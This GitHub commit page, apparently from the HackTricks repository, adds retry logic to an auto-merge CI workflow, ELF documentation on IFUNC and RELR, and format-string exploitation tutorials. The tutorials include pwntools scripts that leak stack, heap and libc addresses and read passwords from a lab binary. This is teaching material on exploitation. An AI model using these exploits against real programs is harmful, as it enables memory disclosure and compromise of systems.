Skip to content

Commit bfb687b

Browse files
authored
Merge branch 'master' into update_ADWSDomainDump_20260217_190247
2 parents eac4fe7 + d6d1825 commit bfb687b

31 files changed

Lines changed: 1163 additions & 133 deletions

File tree

.github/workflows/auto_merge_approved_prs.yml

Lines changed: 74 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -37,8 +37,38 @@ jobs:
3737
- name: Check for running workflows
3838
id: check_workflows
3939
run: |
40+
gh_with_retry() {
41+
local max_attempts=5
42+
local base_sleep_seconds=2
43+
local attempt=1
44+
local stderr_file
45+
stderr_file=$(mktemp)
46+
47+
while true; do
48+
if gh "$@" 2>"$stderr_file"; then
49+
rm -f "$stderr_file"
50+
return 0
51+
fi
52+
53+
local exit_code=$?
54+
if [ "$attempt" -ge "$max_attempts" ]; then
55+
echo "gh command failed after $max_attempts attempts: gh $*" >&2
56+
cat "$stderr_file" >&2
57+
rm -f "$stderr_file"
58+
return "$exit_code"
59+
fi
60+
61+
local sleep_for=$((base_sleep_seconds * attempt))
62+
echo "gh command failed (attempt $attempt/$max_attempts): gh $*" >&2
63+
cat "$stderr_file" >&2
64+
echo "Retrying in ${sleep_for}s..." >&2
65+
sleep "$sleep_for"
66+
attempt=$((attempt + 1))
67+
done
68+
}
69+
4070
# Get all running workflows except this one
41-
running_workflows=$(gh run list --status in_progress --json workflowName,name --repo "$GITHUB_REPOSITORY" --jq '.[].name' | grep -v "Auto Merge Approved PRs" | wc -l)
71+
running_workflows=$(gh_with_retry run list --status in_progress --json workflowName,name --repo "$GITHUB_REPOSITORY" --jq '.[].name' | grep -v "Auto Merge Approved PRs" | wc -l)
4272
echo "running_workflows=$running_workflows" >> $GITHUB_OUTPUT
4373
4474
if [ "$running_workflows" -gt 0 ]; then
@@ -54,14 +84,44 @@ jobs:
5484
- name: Find and merge approved PRs
5585
if: steps.check_workflows.outputs.should_continue == 'true'
5686
run: |
87+
gh_with_retry() {
88+
local max_attempts=5
89+
local base_sleep_seconds=2
90+
local attempt=1
91+
local stderr_file
92+
stderr_file=$(mktemp)
93+
94+
while true; do
95+
if gh "$@" 2>"$stderr_file"; then
96+
rm -f "$stderr_file"
97+
return 0
98+
fi
99+
100+
local exit_code=$?
101+
if [ "$attempt" -ge "$max_attempts" ]; then
102+
echo "gh command failed after $max_attempts attempts: gh $*" >&2
103+
cat "$stderr_file" >&2
104+
rm -f "$stderr_file"
105+
return "$exit_code"
106+
fi
107+
108+
local sleep_for=$((base_sleep_seconds * attempt))
109+
echo "gh command failed (attempt $attempt/$max_attempts): gh $*" >&2
110+
cat "$stderr_file" >&2
111+
echo "Retrying in ${sleep_for}s..." >&2
112+
sleep "$sleep_for"
113+
attempt=$((attempt + 1))
114+
done
115+
}
116+
57117
authorized_user="carlospolop"
58118
max_merges=2
59119
60120
echo "Authorized user: $authorized_user"
61121
echo "Looking for PRs with exact comment 'merge' from $authorized_user..."
62122
63123
# Get all open PRs
64-
prs=$(gh pr list --state open --json number,title,url,author --repo "$GITHUB_REPOSITORY")
124+
prs=$(gh_with_retry pr list --state open --json number,title,url,author --repo "$GITHUB_REPOSITORY")
65125
66126
if [ "$prs" = "[]" ]; then
67127
echo "No open PRs found."
@@ -98,7 +158,10 @@ jobs:
98158
has_merge_comment=false
99159
if [ "$eligible_by_title" != true ]; then
100160
# Get all comments for this PR
101-
comments=$(gh pr view "$pr_number" --json comments --jq '.comments[]' --repo "$GITHUB_REPOSITORY")
161+
if ! comments=$(gh_with_retry pr view "$pr_number" --json comments --jq '.comments[]' --repo "$GITHUB_REPOSITORY"); then
162+
echo "Failed to fetch comments for PR #$pr_number after retries. Skipping PR."
163+
continue
164+
fi
102165
103166
# Print all comment authors for debugging
104167
echo "Comments in PR #$pr_number:"
@@ -123,15 +186,21 @@ jobs:
123186
echo "Attempting to merge PR #$pr_number..."
124187
125188
# Get PR details including head branch
126-
pr_details=$(gh pr view "$pr_number" --json headRefName,baseRefName --repo "$GITHUB_REPOSITORY")
189+
if ! pr_details=$(gh_with_retry pr view "$pr_number" --json headRefName,baseRefName --repo "$GITHUB_REPOSITORY"); then
190+
echo "Failed to fetch details for PR #$pr_number after retries. Skipping PR."
191+
continue
192+
fi
127193
head_branch=$(echo "$pr_details" | jq -r '.headRefName')
128194
base_branch=$(echo "$pr_details" | jq -r '.baseRefName')
129195
130196
# --- Polling for non-UNKNOWN mergeable status ---
131197
max_retries=10
132198
retry=0
133199
while true; do
134-
pr_mergeable=$(gh pr view "$pr_number" --json mergeable --jq '.mergeable' --repo "$GITHUB_REPOSITORY")
200+
if ! pr_mergeable=$(gh_with_retry pr view "$pr_number" --json mergeable --jq '.mergeable' --repo "$GITHUB_REPOSITORY"); then
201+
echo "Failed to fetch mergeable status for PR #$pr_number after retries."
202+
pr_mergeable="UNKNOWN"
203+
fi
135204
if [ "$pr_mergeable" != "UNKNOWN" ]; then
136205
break
137206
fi

.github/workflows/build_master.yml

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -178,4 +178,9 @@ jobs:
178178

179179
- name: Upload root ads.txt
180180
run: aws s3 cp ./src/ads.txt s3://hacktricks-wiki/ads.txt --content-type text/plain --cache-control max-age=300
181+
182+
- name: Upload root robots.txt
183+
run: |
184+
aws s3 cp ./src/robots.txt s3://hacktricks-wiki/robots.txt --content-type text/plain --cache-control max-age=300
185+
aws s3 cp ./src/robots.txt s3://hacktricks-wiki/en/robots.txt --content-type text/plain --cache-control max-age=300
181186

src/SUMMARY.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -278,6 +278,7 @@
278278
- [Semanagevolume Perform Volume Maintenance Tasks](windows-hardening/windows-local-privilege-escalation/semanagevolume-perform-volume-maintenance-tasks.md)
279279
- [Service Triggers](windows-hardening/windows-local-privilege-escalation/service-triggers.md)
280280
- [Telephony Tapsrv Arbitrary Dword Write To Rce](windows-hardening/windows-local-privilege-escalation/telephony-tapsrv-arbitrary-dword-write-to-rce.md)
281+
- [Uiaccess Admin Protection Bypass](windows-hardening/windows-local-privilege-escalation/uiaccess-admin-protection-bypass.md)
281282
- [Windows C Payloads](windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md)
282283
- [Active Directory Methodology](windows-hardening/active-directory-methodology/README.md)
283284
- [Abusing Active Directory ACLs/ACEs](windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md)

src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md

Lines changed: 15 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -218,6 +218,11 @@ Each symbol entry contains:
218218
- **Value** (address sin memory)
219219
- **Size**
220220

221+
#### GNU IFUNC (indirect functions)
222+
223+
- GCC can emit `STT_GNU_IFUNC` symbols with the `__attribute__((ifunc("resolver")))` extension. The dynamic loader calls the resolver at load time to select the concrete implementation (commonly CPU dispatch).
224+
- Quick triage: `readelf -sW ./bin | rg -i "IFUNC"`
225+
221226
#### GNU Symbol Versioning (dynsym/dynstr/gnu.version)
222227

223228
Modern glibc uses symbol versions. You will see entries in `.gnu.version` and `.gnu.version_r` and symbol names like `strlen@GLIBC_2.17`. The dynamic linker can require a specific version when resolving a symbol. When crafting manual relocations (e.g. ret2dlresolve) you must supply the correct version index, otherwise resolution fails.
@@ -354,6 +359,11 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
354359
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
355360
```
356361

362+
#### Packed relative relocations (RELR)
363+
364+
- Modern linkers can emit compact **relative** relocations with `-z pack-relative-relocs`. This adds `DT_RELR`, `DT_RELRSZ`, and `DT_RELRENT` entries to the dynamic section for PIEs/shared libraries (it is ignored for non-PIE executables).
365+
- Recon: `readelf -d ./bin | egrep -i "DT_RELR|RELRSZ|RELRENT"`
366+
357367
### Static Relocations
358368

359369
If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address.
@@ -420,11 +430,11 @@ Note that these global variables are located in `.data` or `.bss` but in the lis
420430
From C code it's possible to obtain the same result using the GNU extensions :
421431
422432
```c
423-
__attributte__((constructor)) //Add a constructor to execute before
424-
__attributte__((destructor)) //Add to the destructor list
433+
__attribute__((constructor)) //Add a constructor to execute before
434+
__attribute__((destructor)) //Add to the destructor list
425435
```
426436

427-
From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF.
437+
From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FINI`**. and are placed in the `init` and `fini` sections of the ELF.
428438

429439
The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments.
430440

@@ -491,6 +501,8 @@ Leaking `AT_RANDOM` gives you the canary value if you can dereference that point
491501

492502
## References
493503

504+
- GCC Common Function Attributes (ifunc / STT_GNU_IFUNC): https://gcc.gnu.org/onlinedocs/gcc-14.3.0/gcc/Common-Function-Attributes.html
505+
- GNU ld `-z pack-relative-relocs` / `DT_RELR` docs: https://sourceware.org/binutils/docs/ld.html
494506
- ld.so(8) – Dynamic Loader search order, RPATH/RUNPATH, secure-execution rules (AT_SECURE): https://man7.org/linux/man-pages/man8/ld.so.8.html
495507
- getauxval(3) – Auxiliary vector and AT_* constants: https://man7.org/linux/man-pages/man3/getauxval.3.html
496508
{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md

Lines changed: 73 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,9 @@ log.info(p.clean())
4848

4949
## Read passwords
5050

51+
<details>
52+
<summary>Vulnerable binary with stack and BSS passwords</summary>
53+
5154
```c
5255
#include <stdio.h>
5356
#include <string.h>
@@ -79,6 +82,8 @@ int main() {
7982
}
8083
```
8184

85+
</details>
86+
8287
Compile it with:
8388

8489
```bash
@@ -116,6 +121,9 @@ Running the same exploit but with `%p` instead of `%s` it's possible to leak a h
116121

117122
Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability:
118123

124+
<details>
125+
<summary>Find controllable stack address</summary>
126+
119127
```python
120128
from pwn import *
121129

@@ -143,12 +151,17 @@ for i in range(30):
143151
p.close()
144152
```
145153

154+
</details>
155+
146156
And it's possible to see that in the **try 14** with the used passing we can control an address:
147157

148158
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
149159

150160
### Exploit
151161

162+
<details>
163+
<summary>Leak heap then read password</summary>
164+
152165
```python
153166
from pwn import *
154167

@@ -179,9 +192,68 @@ print(output)
179192
p.close()
180193
```
181194

195+
</details>
196+
182197
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
183198

184-
{{#include ../../banners/hacktricks-training.md}}
199+
### Automating the offset discovery
200+
201+
When the stack layout changes on every run (full ASLR/PIE), bruteforcing offsets manually is slow. `pwntools` exposes `FmtStr` to automatically detect the argument index that reaches our controlled buffer. The lambda should return the program output after sending the candidate payload. It stops as soon as it can reliably corrupt/observe memory.
202+
203+
```python
204+
from pwn import *
205+
206+
context.binary = elf = ELF('./fs-read', checksec=False)
207+
208+
# helper that sends payload and returns the first line printed
209+
io = process()
210+
def exec_fmt(payload):
211+
io.sendline(payload)
212+
return io.recvuntil(b'\n', drop=False)
213+
214+
fmt = FmtStr(exec_fmt=exec_fmt)
215+
offset = fmt.offset
216+
log.success(f"Discovered offset: {offset}")
217+
```
218+
219+
You can then reuse `offset` to build arbitrary read/write payloads with `fmtstr_payload`, avoiding manual `%p` fuzzing.
185220

221+
### PIE/libc leak then arbitrary read
186222

223+
On modern binaries with PIE and ASLR, first leak any libc pointer (e.g. `__libc_start_main+243` or `setvbuf`), compute bases, then place your target address after the format string. This keeps the `%s` from being truncated by null bytes inside the pointer.
187224

225+
<details>
226+
<summary>Leak libc and read arbitrary address</summary>
227+
228+
```python
229+
from pwn import *
230+
231+
elf = context.binary = ELF('./fs-read', checksec=False)
232+
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
233+
234+
io = process()
235+
236+
# leak libc address from stack (offset 25 from previous fuzz)
237+
io.sendline(b"%25$p")
238+
io.recvline()
239+
leak = int(io.recvline().strip(), 16)
240+
libc.address = leak - libc.symbols['__libc_start_main'] - 243
241+
log.info(f"libc @ {hex(libc.address)}")
242+
243+
secret = libc.address + 0x1f7bc # adjust to your target
244+
245+
payload = f"%14$s|||".encode()
246+
payload += p64(secret)
247+
248+
io.sendline(payload)
249+
print(io.recvuntil(b"|||")) # prints string at calculated address
250+
```
251+
252+
</details>
253+
254+
## References
255+
256+
- [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
257+
- [Format string exploitation notes](https://hackmd.io/%40e20gJPRhRbKrBY5xcGKngA/SyM_Wcg_A)
258+
259+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)